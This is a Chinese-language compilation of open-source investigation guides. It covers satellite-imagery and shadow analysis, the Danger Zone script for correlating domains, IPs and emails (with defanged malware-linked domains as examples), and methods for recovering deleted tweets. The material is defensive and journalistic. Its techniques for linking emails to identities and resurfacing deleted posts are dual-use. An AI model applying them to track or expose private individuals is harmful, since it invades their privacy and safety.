在“平面图”上画出该区域的草图（2D），用卷尺测量您画在平面图上的元素 —— 例如，墙壁和楼梯的长度，以及它们之间的距离。记得测量空间中的对角线，这样以后就可以更准确地画出它 —— 例如

这将帮助您确定一个看起来像矩形的庭院是否真的有平行的边。

通过标记哪个方向是北来记录方向。您可能可以查看现有的、不太详细的地图。查看太阳的位置和一天中的时间也是一个很好的指导。当然，也可以使用指南针。

对您正在勘测的区域进行拍照也很有帮助。它们可以给您带来关于一个更广泛的区域的概况印象。

拍摄全景照片，最好是从现场和周围的不同地方拍摄。尽量拍摄包含尽可能多的背景的照片 —— 周围的街道、相邻的建筑等。关键特征的特写照片，如窗户的损坏或墙上的涂鸦，也都很有用。

5、对更大的区域进行调查

「图」

如果您需要绘制的区域比较大 —— 例如，新的森林空地的轮廓，怀疑那里的树木被非法砍伐 —— 最好使用GPS设备，例如手机或上述其他工具之一。

在您想绘制地图的区域的每个角落都要有经纬度坐标，这将使您以后在地图软件中绘制轮廓。

将这些点放在地图上，然后画一个多边形将它们连接起来（见上一节绘图），就会得到一个轮廓，可以与地图上的其他数据进行比较。

例如，您所画的区域是否与国家公园重叠，从而证实了您对树木被非法砍伐的怀疑？它还可以让您测量该区域，进而估计有多少树木被砍伐。

6、通过卫星图像显示细节

「图」

卫星图像可以成为调查一个地方正在发生的事的有力工具。虽然它具有地图的许多优点 —— 为您提供一个地区的概况并显示地方之间的联系 —— 但它也可以包含更多的信息。

卫星图像经常显示与您的调查有关的特征，但这些特征通常在一般参考地图上找不到，例如从港口到工厂的管道显示了您试图追踪的棕榈

油可能在哪里运输。

卫星图像也可能比地图更详细。例如，您的地图可能会显示一个监狱营地的位置，但只包括一个描述监狱大院的彩色形状。该地区的卫星图像则可以显示营地内不同建筑和开放区域的细节，让您了解更多关于内部发生的事。

卫星图像也有可能比地图更及时，让您看到冲突中的建筑项目的变化、森林砍伐或基础设施被破坏的情况。比较历史上的卫星图像也可以帮助您了解这些事情在一段时间内的变化。

许多地图应用程序 如 Google Maps, Google Earth, Bing, Baidu, HERE WeGo, OsmAnd, Yandex，都可以选择显示卫星图像。

每个平台上的图像在分辨率和创建时间上都可能略有不同。此外，大多数地图应用程序会遮挡卫星图像的某些区域（例如 军事基地），这些区域可能会模糊不清。如果您在一个应用程序中发现某个区域被遮挡或以低分辨率显示，则值得检查其他应用程序，以获得更高质量或无遮挡的图像。

🔧 Wikimapia 是一个开源的地图平台，对卫星图像分析非常有用，因为它整合了来自多个供应商（包括谷歌、Bing 和雅虎）的图像，并允许您在它们之间进行切换（使用地图右上方的黑色 “WikimapiaMap” 按钮）。

当一个供应商遮挡了一些特征时，在这里操作就很方便了，您可以快速切换一组图片，看看同一个地方在其他供应商那里是如何出现的。

Wikimapia 提供了大量关于在其平台上使用地理数据的信息和指南，以及给初学者的建议。

7、下载高分辨率图像

「图」

Google Earth Pro 可以让您下载高分辨率的图片，比截图的质量要好很多。

File 」 Save 」 Save image 将打开屏幕顶部的 “保存图像” 工具栏，并在地图上放置一个图例和标题框。这些都可以通过工具栏中的地图

选项按钮来切换开启和关闭。

也可以改变地图的颜色和饱和度。工具栏中的分辨率按钮可以选择保存图像的分辨率，最大尺寸为 4800 x 4800 像素。

📌 谷歌地球图像的边缘往往会轻微变形 —— 这是试图将曲面做成平面地图的结果。如果您想保存一些图像，然后使用图像编辑软件将它们拼接在一起，需要将地图完全压平，否则图像将无法正确地平铺。

要做到这一点，可以进入 “工具 」 选项”。在 “选项” 对话框中进入 “3D视图” 选项卡，在 “Terrain” 下，将海拔夸张度尽量调低（0.01）。然后按上述方法下载您的一系列图像。

8、在 Google 地球上获取历史卫星图像

「图」

谷歌地球包含了大量的历史卫星图像，世界上大多数地方的历史图像可以追溯到10至15年前，有些地方甚至可以追溯到更久。

这些卫星图像通常每隔一到三年更新一次，但有些地方可能会更频繁地拍摄图像，拍摄间隔只有几个月。

一些地区也可能会优先拍摄卫星图像。例如，如果发生地震，造成大量破坏(如 2015年尼泊尔地震)，有关组织 (人道主义团体、政府等) 可能会优先要求获得这些地方的新图像，以协助应急和重建。

历史图像可用于监测随着时间的推移而发生的变化 —— 显示战区正在发生的破坏模式，例如 难民营的扩张或受藻类大量繁殖影响的地区。

要访问历史图像，请单击工具栏上的时钟图标。这将打开一个带有滑块的框，让您在卫星图像中滚动浏览。

单击此框中的 “缩放” 按钮将允许您关注时间轴的一部分，以查看可用的全部日期范围。点击滑块两端的箭头，可让您按顺序浏览历史图像。

9、将图像添加到地图

「图」

您可以在现有的地图上添加从各种来源（非政府组织、政府、测绘爱好者等 包括您自己）获得的航空图像和卫星图像。这样做可以让您利用比 Google Earth 等更详细的航空图像。

10、在地图上添加地理参考图像

「图」

一些图像文件，如 .geoTIFFs，附加了地理参考信息（经纬度坐标）。这允许您使用GIS软件（如 QGIS）将其导入到您的地图中，它将自动将其放置在正确的位置，并将其扭曲以匹配您的地图投影。

📌 在 Google Earth 中，必须按照这里的描述手动放置图像。

- 进入 “Add” 」“Image Overlay” 或点击工具栏中的图像叠加按钮，打开图像叠加对话框。
- 导航到您要添加图片的地方。点击 “link”旁边的 “browse” 按钮，找到您要添加的文件；然后图像就会被添加到地图上面。
- 要正确定位您的图片，请使用边上和角落的手柄来缩放或旋转它。
- 为了帮助您的图像与更广泛的地图对齐，使图像半透明，并尝试切换某些 Google Earth 图层（如 道路）。
- 如果需要倾斜图像以适应它在地图上，进入位置选项卡在对话框中，并单击 “Convert to LatLongQuad” 按钮。这将给您提供一个选项，输入地图每个角落的经纬度（如果有的话），或手动倾斜图像，直到它适合。

在地图的相关地理空间中定位卫星或航空图像的过程称为地理配准。

🔧 Mapknitter 是一个免费的、开源的地理配准工具。在放置图像后，您可以将其导出为 GeoTIFFs，以便于纳入其他地图。

11、在地图上添加非地理参考图像

「图」

也可以将航空图像或其他没有地理参照的地图（文件中没有嵌入经纬度坐标的图）添加到现有地图中。

您可以将显示历史土地使用情况的纸质地图扫描件或基础设施的详细图纸添加到您的数字地图中，并将该信息与其他地理数据进行交叉引

用。然后，您可以绘制纸质地图上显示的特征以创建矢量版本，并将地理数据（如道路、建筑物和国家轮廓）存储为一系列的点、线和多边形。

📌 历史地图和航空图像往往可以通过当地政府办公室、档案馆、图库和网站找到。美国国家航空和航天局（NASA）和欧洲航天局（ESA）等国际空间机构都有大型的公开卫星图像库。

识别卫星图像中的特征

「图」

在使用卫星图像时，您可以使用一些技术，以及您应该寻找的一系列具体要素，这些技术可以帮助您确定个别特征，并更多地了解您正在研究的地方正在发生的事。

您根据卫星图像分析得出的结论应以其他方式加以证实，这可能包括亲自访问该地、或请当地合作伙伴为您核实信息。

1、尺寸和规模

「图」

当您试图识别卫星图像中的物体时，尺寸是一个重要的区分特征。

为了能够正确评估您所看到的物体的大小，需要了解手头卫星图像的比例：它是否显示了整个国家或地区，或者它是否是一个小比例的图像，您可以很容易地识别单个建筑物甚至较小的物体，如汽车和树木？

对于交互式在线地图和卫星图像来说，比例尺的问题就不那么重要了，它允许您通过放大和缩小来改变比例尺，或者直接测量物体，如在 Google Earth Pro 中。

2、图案、形状和纹理

「图」

图案、形状和纹理也有助于识别特征。

图案 —— 农业区通常可以通过农田的图案来识别，这些田地可能是

长方形，或者在使用旋转悬臂灌溉的国家，是圆形的。自然生长的森林比种植园有更多不规则的树木模式，种植园可能是以网格形式布置的。

形状 —— 湖泊和河流等水体往往具有独特的形状，容易识别。景观中的直线很可能是人为的建筑，比如道路、运河和土地边界。

纹理 —— 指的是一个特征的光滑或粗糙程度。纹理可以为您提供关于您所看到的东西的线索，例如，大面积的混凝土或柏油路面，如停车场，看起来很光滑，而植被可能有一个粗糙的外观。

3、色调和颜色

「图」

在解释图像时，色调和颜色非常重要。

使用可见光（与红外光相反；红外光也用于捕捉卫星图像）创建的卫星图像是相当直观的解释，因为颜色类似于您用自己的眼睛看到的。

例如植被往往是绿色的（虽然这可能在一年中不同时间有所改变）。水会吸收光线，往往呈现黑色或深蓝色，尽管水中的沉积物会使其看起来呈棕色；浅水的颜色可能较浅，阳光反射会使其看起来呈白色或灰色。

红外图像通常用于监测植被，植被会以不同的红色阴影出现（而不是像可见光图像中的绿色）。

4、高度、深度和阴影

「图」

阴影可以帮助确定从上方拍摄的物体的高度或深度，也可以显示图像拍摄的时间和日期。更多细节请参见下面的阴影分析部分。

5、场地、状况和联系

「图」

通过观察某物所在的位置和周围的事物，可以收集到很多额外的信息。例如，一个位于城市边缘的大型超市可能会有一个大型停车场，

并靠近一条主要道路。一个港口很可能位于河口附近，靠近大海。如果它是一个主要的货物港口，紧邻它的大量土地可能被用来储存，而且它很可能与主要道路连接良好。

6、现场了解

「图」

您自己对现场的了解和调查是最有力的解释工具之一。如果您知道在过去的几个月里某个区域发生了一场大型森林火灾，它可以帮助您认识到被森林包围的大块棕色区域可能是一个烧伤区痕迹。

📌 □ 假设性案例：借助卫星图像调查森林砍伐情况

「图」

地图和卫星分析对于追踪供应链和跟踪产品从产地到到达消费者手中的过程极为有用。

这个例子有助于说明作为调查的一部分，可以利用地图和卫星数据做些什么。

这里提到的技术应与其他几种调查技术相辅相成，以便在所收集的证据之上进行确认。

假设马来西亚国家公园内有一片森林被非法砍伐，木材被运往中国，在那里被制成家具。

您可以从当地政府的 GIS 网站上下载显示国家公园边界的 Shape 文件，然后上传到 Google Earth上。从这里，您可以很容易地看到国家公园的具体位置，并利用 Google Earth 中的历史卫星图像查看其中森林覆盖率的变化。

您看到，在过去的一年里出现了新的空地，说明那里一直在进行伐木。使用谷歌地球的测量工具在新的空地边缘画出多边形，您可以计算出被砍伐的森林面积。

有一些数据库包含了不同公司的锯木厂名单及其经纬度。通过将这些数据库以CSV文件的形式导入 Google Earth，可以在地图上创建一系列标记，显示锯木厂的位置。离伐木区最近的锯木厂将被优先考虑，以便进一步调查非法伐木的地点。

所有从马来西亚运往中国的木材都是通过船运。于是通过地图搜索，可以找到离砍伐区最近的海运港口。

在卫星图像和地面照片中观察这些港口 —— 例如使用谷歌街景 —— 可能会让您找到港口中最有可能用于木材出口的地方 —— 木材是露天存放的，这意味着在图像上经常可以看到它。

利用船舶跟踪数据，您可以找到哪些船舶在这个码头停靠过，然后跟踪目标船舶到中国卸下木材的港口。

公司数据库可以帮助您识别中国的家具公司。从港口通往特定城镇的基础设施，如铁路线，可以帮助您缩小最可能使用非法砍伐木材的公司范围，并进一步调查。

阴影分析

「图」

本节只介绍卫星图像中的阴影。

观察卫星图像中的阴影可以帮助您找出目标的高度和图像拍摄的时间和日期。太阳在天空中的方向（方位角）和它的高度在一天的过程中变化。

太阳在东边升起，在西边落下，并在中午前后达到天空的最高点；它的路径也在一年中发生变化。

太阳的高度和方向的变化意味着物体的影子在一年中的不同时间会发生方向和长度的变化。

📌 这些变化的影子可以用来估计一天中的时间和图像的拍摄时间。

反过来说，如果您知道一幅图像的拍摄时间，就可以利用这些信息来分析阴影，计算图像中物体的高度。以下是曾经对此调查方式的演示：

- 《让阴影说话：开源调查小游戏》
- 《新疆火车站戴手铐的视频是真的吗？在哪里拍摄到的？》

🔧 SunCalc 可以显示一年中任何一天的太阳路径，在北纬85°和南纬85°之间的地区（不包括两极周围地区）。通过时间滑块，您可以看到一天中太阳的高度和方向，每分钟都在变化。它包含了历史数据，

所以您可以追溯到**1900**年、预测到 **2099**年。

它还允许您输入一个物体的高度，并计算出在该地点、该时间、该日期产生的影子长度。这些信息加上影子的方向和长度（可以在卫星图像上测量），可以让您核实照片的拍摄时间或估计物体的高度 —— 以核实信息真伪。

📌 □ 案例研究。利用阴影寻找物体的高度

「图」

这个简短的用例演示了如何利用卫星图像中的阴影找到物体的高度。先看看前面关于 Google Earth 中的绘图和历史图像的部分可能会有所帮助。

在 Google Earth 中，进入巴黎的埃菲尔铁塔（可以使用搜索栏导航到它）。然后点击工具栏中的时钟图标，调出历史图像滑块（更多关于历史图像的内容请参见上一节），导航到 2017 年6月9日的图像。这张图片是在晴天拍摄的，这意味着塔身投下了阴影，我们可以通过测量来找到塔的高度。

塔的最高点就在塔中心的正上方 —— 这意味着，为了准确测量影子的长度，我们需要从地面的塔中心到影子的末端进行测量。

为了找到地面上的塔中心，先从塔的左下角脚的外角到右上角脚的外角画一条线（您需要保存这条线）。然后从右下角的外角到左上角的外角画第二条线（同样要保存好这条线）。这些线的交叉点就是塔在地面上的中心。

在 Google Earth 中使用标尺中的线条工具，从阴影的顶端开始画一条线，然后在前面两条线交叉的地方结束。这将为您提供影子的长度和太阳的方位角（谷歌地球信息面板中线条的 “heading”）。

然后可以去 suncalc.org 的 SunCalc 开始计算铁塔的高度。

首先，使用搜索栏导航到埃菲尔铁塔。在左侧的侧栏中，将日期改为与卫星图像拍摄的日期相匹配。2017年6月9日。

然后移动屏幕上方的太阳/时间滑块，直到侧栏中的方位角与您在谷歌地球中计算的方位角相匹配。

做好了这些，您就可以开始计算塔的高度，改变紧挨着影子长度下方

的 “at an object level” 框中的数值。通过试错的过程，您应该能够找到一个物体高度，该高度会产生一个在 Google Earth 中测量出的阴影尺寸。这就是塔的大致高度。

📌 需要注意的是，使用这种方法只能找到一个大概的高度，因为图像分辨率不够高，无法足够准确地测量阴影。如果使用分辨率较高的图像，就可以进行更精确的测量。

在调查中使用基于地图的工具

「图」

我们每天都在使用各种类型的地图、地理数据和大量依赖地图的工具。它们中的大多数在调查中非常有价值 —— 有助于确认地点、事件发生的时间、地点的测量、时间的变化或土地的使用和所有权等。

以下是一些这样的工具、资源和可能的方法，您可以利用它们从它们的全部潜力中获益。

天气数据

「图」

天气预报数据可用于规划活动。例如，可以考虑由救援部门根据天气和海况估计难民船从海岸出发的可能时间。历史天气数据对环境监测很有用，可以查看天气模式和气候的变化。

作为调查人员，如果您掌握了某一天的某地的天气情况，就可以帮助您证实或质疑一个消息是不是真的，消息源是不是在撒谎，本节将介绍一些直接的天气数据资源。

1、天气、大气、海洋和海浪预报

「图」

🔧 Windy.com 显示了当前的状况以及一系列天气、海洋和大气状况的十天预报。它涵盖了温度、气压、降水、风和云层，还可进一步选择显示二氧化碳、臭氧和二氧化硫状况。海况包括波高和浪高、海流和水温。

2、基本使用的历史天气数据

「图」

历史性的天气数据可以用来观察随着时间的推移而变化的天气和气候模式，以及检查某一天的天气状况，并利用它来证实与你的调查有关的其他信息。

如果您有一些照片，您被告知是在某一天的某个地方拍摄的，而且这些照片显示地面干燥，天气晴朗，而天气数据显示当天大部分时间都在下雨，那么您有理由怀疑这些照片所显示的时间和地点。

这种天气数据本身不太可能可靠到足以证明或反驳某条信息，但它可以提供强有力的线索，您应该通过其他方式进行调查。

🔧 Weather Underground 提供历史天气数据，每天一个读数，来自世界各地的气象站。它包括最高和最低温度、一天内的降水量以及日出日落数据。

🔧 Dark Sky 在名为 Time Machine 的功能中提供了历史天气数据。API以温度、降水量、湿度、风力、大气压力、紫外线指数和能见度的形式生成可下载的数据。

3、供高级使用的历史天气数据

「图」

欧洲中程天气预报中心（ECMWF）有一个庞大的历史天气数据档案，覆盖整个地球。

其中一些数据集可以追溯到1900年。从2008年开始，ECMWF 每月提供可下载的天气报告，内容包括温度、降水、云层和气压等，每三小时测量一次。

这些数据很复杂，很多情况下都是专业格式。对于那些没有气象知识的人来说，鉴于可用数据的清单太长和数据的大量变化，可能很难准确地确定您需要的数据集。

🔧 在这里可以找到所有可用的公共数据集。

4、日出、日落和黄昏数据

「图」

🔧 Time and Date 提供了世界各地主要城市的日出、日落和黄昏数据，并根据季节进行了调整。

5、时区

「图」

这张地图显示了世界时区以及当前的时间（随着夏令时和冬令时而调整）。

土地利用和土地覆盖数据

「图」

显示土地使用和土地覆盖的地图可以帮助您了解土地目前的使用情况，土地有什么特点，检查谁拥有什么土地，以及所有权如何变化。本节中的资源还可以帮助您了解计划中的建设项目、它们的用途、规模和发展条件。

1、大比例尺土地利用图

「图」

有若干来源可提供显示土地利用 (森林、农田、城市等) 的大比例尺地图。

欧洲环境署提供了一个非常详细的全球土地覆盖数据集，包括所有欧洲国家的领土。它们以光栅图像的形式出现。

创建该数据集是为了作为《防治荒漠化公约》、《拉姆萨尔公约》和《京都议定书》等众多气候公约的基线。

它还被用于千年生态系统评估，以帮助界定不同生态系统之间的界限，如森林、草原和耕地。其地图可在以下网址下载：https://www.eea.europa.eu/data-and-maps/data/global-land-cover-250m。

🔧 OSM Landuse Landcover 是一个网络应用程序，从土地使用和土地覆盖信息方面探索 OpenStreetMap 数据库。它由德国的一个团队发起，从世界各地的用户中收集众包信息。

这意味着，一些地区的记录比其他地区更好，而且并非所有地区都呈现出相同的细节水平。

信息需要从其他来源进行核实，如额外的土地利用和土地覆盖图、当地的地籍记录等。不过，这一资源也是一个很好的起点，可以了解总体情况，而且对于初学者来说，使用起来相当容易。

如果想了解更多的选择和复杂程度不同的可用土地利用地图，GIS地理网站在这里提供了其他免费资源的概述。

2、地籍图（土地所有权和边界）

「图」

地籍是一种正式的土地所有权登记册，它描述了土地所有权的范围以及谁拥有这块土地。地籍册可由国家或地方政府持有。

在一些国家，这些地图已经数字化，可以查看或下载 pdf 文件。也有可能将这些信息下载为 shapefile，可在地图应用程序中查看，如谷歌地球或GIS软件。

并非每个国家的所有土地都在地籍之下。

少数国家的地籍图以互动的形式在线。例如，这里是瑞士和捷克共和国的地籍图。

📌 在大多数情况下，访问地籍数据不是免费的。数据库需要注册以及每月或每年付费或一次性费用，才能为您提供所需的信息。

3、采矿和资源图

「图」

资源丰富的国家越来越多地开放有关其采矿计划和项目以及资源开采和勘探许可证的信息，以提高透明度和问责制。

一个例子是莫桑比克的矿业地籍门户网站，这是一个定期更新的政府数据库，其中包括关于资源开采和勘探工作的许可证和合同的信息。

4、分区地图

「图」

分区图描述了一个地区允许的土地用途（住房、商业建筑、轻工业等）。在一些国家，这些地图已经数字化，可以查看或下载 pdf 文件。也可以将这些信息下载为 shapefile，在地图应用程序中查看，如谷歌地球或GIS软件。

这张芝加哥互动分区地图显示了适用于该市不同地区的分区法规（规则），并附有相关链接，以及每个地区已申请的分区许可证。

5、建筑许可证申请

「图」

已提交的建筑项目许可证申请通常可从相关地方政府机构获得。它们通常会包含图纸，显示拟议开发的位置，拟议建筑物的详细计划、切面和立面，将使用的建筑材料，建筑物的拟议用途，许可证是否已被批准以及在什么条件下批准等。

举个例子，这是伦敦克罗伊登自治市的网站，在这里您可以查看已经提交的规划申请和响应的决定。可以通过关键词、地址或邮编进行搜索。

在他们的交互式地图上，您还可以查看已为其创建应用程序的站点。○

Resources

「图」

Articles and Guides

- *Crowdsourcing satellite imagery to document deforestation*, from Tactical Tech. An interview about a crowdsourced project that maps roads built for logging in the Congo Basin area.
- *DIY Mapping and Reclaiming*, from Tactical Tech. An interview about how activists can challenge the dominant narratives of space created by institutionalised aerial photography and surveillance; part of Tactical Tech film and interview series *From My Point of View*.
- *DIY aerial mapping* from School of Data. A report including

guidelines on how to fly your own kites for aerial mapping.
- *Do-It-Yourself aerial photography*, from The Engine Room and Rainforest Foundation Norway. A guide on using DIY aerial photography to document environmental issues.
- *How Satellite Imagery Became an Indispensable and Easily Accessible Tool for Journalists*, from the Global Investigative Journalism Network (GIJN). An article featuring tools, techniquest and case studies.
- *Introduction to Google Earth Pro*, by K. Britt, J. McGee, J. Campbell from Virginia Tech Geospatial Extension Program. A guide with detailed steps to get you started with the tool, and examples of what can be done with it.
- *Making Maps*. A blog for cartography enthusiasts, with tutorials, techniques and books.
- *Resources for Finding and Using Satellite Image*, from the Global Investigative Journalism Network (GIJN). A review of tools and resources.
- *Seeing the world through Google's eyes*, from Tactical Tech. An article about the uses of satellite imagery in art and investigations.
- *Starting satellite investigations*, from Tactical Tech. A case study about how Bahraini activists used Google Earth to document palaces and land owned by elites.

Tools and Databases

- *Do-It-Yourself Mapping Kits*, from Public Lab. A series of resources and tools for DIY aerial mapping, photography as well as tutorials and inspiration.
- *Mapknitter*, from Public lab. A free, open source tool for georectification that allows you to add your own aerial images to existing maps, and to make your own maps.
- *SunCalc*. A online tool that shows the path of the sun throughout the day, on any given day of the year, for areas between latitudes 85°N and 85°S.

Using Maps to See Beyond the Obvious

原文

如何挖掘机器人水军的幕后推手？ - iYouPort

开源情报-每个人都可用的武器让它民主-公民掌握真相的技巧和技术

挖出隐藏在幕后的恶意行为者，这也是 OSINT 调查的一个重要分支。要做出优秀的报告也许需要点经费，但我们本着不花钱的大原则，也能做出像样的调查。在这里试试免费工具

Wojciech 写了一个脚本，它将域名、IP 或电子邮件地址作为输入，并在各种服务中搜索，如：Whois，Reverse whois，Historical whois，VirusTotal，Threatcrowd 等。一切都记录在 Elasticsearch 和 json 文件中。最后它创建一个图表，以说明资源之间的所有连接。

这是开源的，源代码在这里：https://github.com/woj-ciech/Danger-zone

介绍

在许多情况下，当您需要仅基于一个电子邮件地址、或单个域名映射攻击中使用的基础架构时，手动检查所有内容然后连点成线是一项非常繁琐的工作。可视化能帮助您全面了解攻击者的网络，然后您可以更深入地跟踪尽可能多的潜在目标。

每个信息都可能有价值，以便跟踪威胁行为者的身份，因此如果我们能够在多个来源中搜索它，那么就会有更好的机会来获得更多有用的信息。此外，连接所有这些源并在收集的数据之间建立连接可以更充分理解您正在处理的内容。

「图」

「图」

printed sticky notes glued on board

Danger Zone

在跟踪网络中的恶意行为时，会使用到大量工具，Danger Zone 的主要目标是将其连接到一起，为您提供简单的可读输出，将其可视化为图形并将其余数据存储在 Elasticsearch 和 JSON 文件中。

我尝试使用尽可能多的免费服务来做经典的 OSINT 风格，好消息是只需要两个关键工具。其中第一个是 Whoxy，有个限制就是只能检查 2–3 level，第二个是非常著名的 VirusTotal，免费版本每分钟仅允许4个请求。其余服务完全免费，如 Trumail 用于电子邮件验证，Extreme IP 用于 IP 地理位置检索， Username Check 用于检查社交媒体网站中用户名的存在。

脚本仅显示 3 个最新结果，只是为了给您提供见解，例如实际托管在该 IP 上的内容，但保存所有结果以供进一步审核。它可以用于小规模调查，也可以作为大型调查的一部分。下面举三个例子，关于如何使用。

恋童癖网络

「图」

「图」

有人正在分享 CP 并留下了他的电子邮件以获得“支持”。我想知道可以收集到多少有用信息以追踪发布者的身份。

「图」

「图」

Network started from “.net” emaill

我从“.net”电子邮件地址开始，该地址位于图表的中心。在反向 Whois 模块的帮助下，它找到了相关的“.top”，“.com”和“.biz”域名。由于显而易见的原因把它打码了。然后检查这些域名的电子邮件和 IP。其他信息显示在控制台上。

「图」

「图」

Snippet of console output

电子邮件和用户名非常独特，因此我可以放心地将 Twitter 帐户关联到电子邮件。我们看到此用户发布了谷歌 URL 缩短程序（已禁用）的链接，具有类似机器人的行为。最后的帖子停在 2012 年，但我们可以看到他仍在运作。

「图」

「图」

Twitter account connected to email

借助这个工具和其他半自动技术，我能够构建这类网站的脉络，包括电子邮件、来自whois（电话号码、地址和其他）的记录，IP 和域名（其中一些账户仍然在运行，分发令人不安的内容）。

Betabot 案

Betabot 是一种危险的木马病毒，这里有一个案例。本文以它为例做一个测试。这个例子是 goog [.] com 和 onedriveservice [.] com。让我们看看它在图表上的样子:

「图」

「图」

Graph for goog[.]com

我们从 goog [.] com 开始。脚本发现 IP 和一个电子邮件地址相关联，并与另一个域名相关联。最后，我们可以发现“yahoo.com”地址与“.com”电子邮件相关联，然后该电子邮件与我们找的初始域名 goog [.] com 相关。

「图」

「图」

onedriveservice [.] com 的图表看起来像这样，我们可以看到它托管在185.106.120 [.] 202上，这个 IP 链接到其他恶意域名，如 fakeavhelp [.] website 或其他看似奇怪的 TLD 域名。

诈骗无处不在

垃圾邮件活动、虚假技术支持网站、或各种其他诈骗，必须在某个地方以某些名字和电子邮件托管。我读过关于 fximperium [.]net 案例的文章，最初发布在一个波兰安全网站上，看起来有点复杂。其实一半的工作都可以在这里自动完成，下图显示了域名 fximperium [.] net 的结果。

「图」

「图」

Graph for fximperium[.]net

它连接到电子邮件地址 gabriel [at] fximperium. com，我们发现了另一个与此特定电子邮件关联的域名。

如果您需要更多信息，如地址、姓氏或其他相关域名，您可以随时使用 Kibana。只需选择 o 模块（在左侧），然后提供您的查询内容。

「图」

「图」

Reverse whois module in Kibana

当然，如果您没有 Elasticsearch，也可以读取为每个已检查资源创建的 JSON 文件。例如检查 fximperium[.]biz 的 Whois 模块历史记录。

「图」

「图」

总结 **Danger-zone**

特性

> 根据给定的电子邮件关联域，并检查这些域查找其他关联电子邮件和 *IP*。 检查域的 *IP* 和电子邮件，并查找其关联域。 从*IP*中提取域，并检查域查找其他关联 *IP* 和电子邮件。

模块

Email：

Trumail—验证 *email* 地址 *(//https://trumail.io///)* *Whoxy*—*whois* 反查服务 *(//https://whoxy.com///)* 需要密钥 *haveIbeenPwned*—检测账号是否泄露及泄露站点 *(//https://haveibeenpwned.com///)* *Username check*—检查社交网站上基于 *email* 地址的用户名 *(//https://username-availability.herokuapp.com///)* *Google*—*Google* 查询

IP：

Geolocation—地理定位 *IP (//https://extreme-ip-lookup.com///)* *Threatcrowd*—有关 *IP* 信息 *(//https://github.com/AlienVault-OTX/ApiV2//)* *VirusTotal*—有关 *IP* 信息 *(//https://www.virustotal.com///)* 需密钥

Domain：

TLD—获取顶级域赞助商 *(//https://raw.githubusercontent.com/mikewesthad/tld-data/master/data/tlds.json//)* *Threatcrowd*—有关域的信息 *(//https://github.com/AlienVault-OTX/ApiV2//)* *Whoxy*—*Whois* 服务 *(//https://whoxy.com///)* *Whois history*—有关域的历史信息 *(//https://whoxy.com///)* *Wayback Machine*—网站存档备份网站*(//http://archive.org///)* *VirusTotal*—有关域的信息 *(//https://www.virustotal.com///)*

设置&配置

git clone pip install -r requirements.txt

pip install Google-search-api

有关 Elasticsearch 设置请参考：https://www.elastic.co/guide/en/elasticsearch/reference/current/_installation.html

有关 Kibana 设置请参考：https://www.elastic.co/guide/en/kibana/6.4/install.html

编辑 settings.json 文件，并添加密钥和 ElasticSearch 信息：

{

"keys":{

"whoxy": "xxx",

"virustotal": "xxx" },

"elastic":{

"host":"127.0.0.1",

"port":9200 }

}

使用

python "danger-zone".py **-h usage**: "dangerzone".py [-h] [–email EMAIL] [–address ADDRESS] [–domain DOMAIN] [–elasticsearch] **Correlate data between domains, ips and email addresses and present it as a graph. optional arguments: -h, –help** 显示帮助信息并退出 **–email EMAIL Email** 地址 **–address ADDRESS IP** 地址 **–domain DOMAIN** 域名 **–elasticsearch Elasticsearch** 输出

Console

- 生成到控制台的报告信息会比保存文件的更详细。
- 其他信息包括 Google 搜索结果，用户名检查和 HaveIBeenPwned 模块。
- 重要的信息会在控制台中高亮显示，可以帮你更好的记忆和关联它们。

Kibana

- 使用各个包含特定信息的模块名称创建索引。

结论

如上，现在您已经了解到如何最快速简单地映射基础设施和跟踪个人。您还可以发现一些新的潜在线索，例如来自 Whois 的历史数据，并将其连接到新的电子邮件地址。此工具可以使用在更大的案例中，也可以单独进行小案例的尝试，以识别新的潜在线索，或发现互联网中的恶意行为者。 广告

原文

如何搜索和查找某人已删除的推文 - iyouport

开源情报-每个人都可用的武器

不那么容易。但有4种方法可以试试。

不管是名人的尴尬口误，还是异议人士想要避免被喝茶而进行的自我审查，其结果都是，某些推文很快就会被删除；或者有人开着第三方自动删推软件，定时删除一切。我们其实鼓励这种做法，尤其是在社交媒体情报的威胁性越来越大的情况下，但是，我们更需要提醒您一个常识：任何内容，只要它上了互联网，就很可能难以彻底删除了；尤其是社交媒体，尤其是那种您觉得危险的和尴尬的信息。

删推是一种可能没什么用的措施，因为人们经常可以找到方法来搜索和查找到那些已经被删除的推文。

本文将向您展示一些可以找到某人被删除的推文并保存它们的主要方法。

1、通过谷歌搜索

「图」

十有八九可以搜到，当您想找到某人被删除的推文时，而这个人又是一个著名人物，那谷歌可能是最好的方法。

寻找被删除的名人推文的好处是，您可能不是第一个想这么做的人。从忠实的粉丝到媒体，有很多人都在盯着这些名人。他们的推文很有可能已经被其他人复制和截屏了，这就是为什么您可以谷歌搜到，大家都喜欢看名人出丑。

例如，有一个网站专门记录主要政客被删除的推文，包括他们一些更有争议的言论。

寻找这些被保存的推文的最佳来源可能是Twitter本身。许多精明的用户对名人的推文进行截图，并在它们被删除时分享出来。这让许多知

名人士被抓到把柄。

2、检查谷歌的缓存

「图」

众所周知您的浏览器会缓存网页，以帮助它们更快地加载。但是您知道谷歌本身也做了类似的事吗？在滚动浏览谷歌结果时，您可能已经注意到一些条目旁边有一个小箭头，点击这个箭头，您就可以查看该网站的缓存版本。

这可以帮助您查看一个著名的 Twitter 账户的已经被删除的推文。如果该推文是最近删除的，有可能它仍然存在于缓存中。唯一的问题是，该账户需要足够有名，谷歌才会对其进行缓存。

要查看某人的推文的缓存版本，首先搜索他们的推特ID。

他们最近的推文将在搜索结果中显示出来。点击任何一个条目旁边的向下的小箭头，选择缓存。

「图」

谷歌缓存版本的推文将打开。缓存的日期和时间将显示在顶部。由于新的缓存可以覆盖这些数据，建议您自己截图保存。

3、使用 Wayback Machine

「图」

如果您要找的被删除的推文时间太久远了，无法在谷歌的缓存中显示出来，也不知道有谁保存了它，那最好的办法就是使用时光机。这是一个将互联网上的公共网页存档以供后人查阅的网站。

虽然还有一些其他的服务可以做同样的事，但 Wayback Machine 是迄今为止这些选项中最受欢迎和最可靠的。

互联网档案馆持有所有公共网页的备份，这些备份是在定期的时间间隔内进行的。您可以回到过去，查看一个网站过去的样子。这包括许多知名人士的 Twitter 网页。

- 对于 ***Wayback Machine*** 的使用方式，我们有过详细介绍，见

《如何快速找到你想要的东西：追踪数字证据的小技巧》

要搜索档案中被删除的推文，先打开 Wayback Machine 网站。

输入您要查看其历史记录的 Twitter 帐户的个人资料链接，然后单击“浏览历史记录”。

「图」

这将打开一个日历，显示目标 Twitter 帐户已被存档的所有日期。

将鼠标悬停在日期上可查看当天可用的所有快照以及拍摄快照的时间。

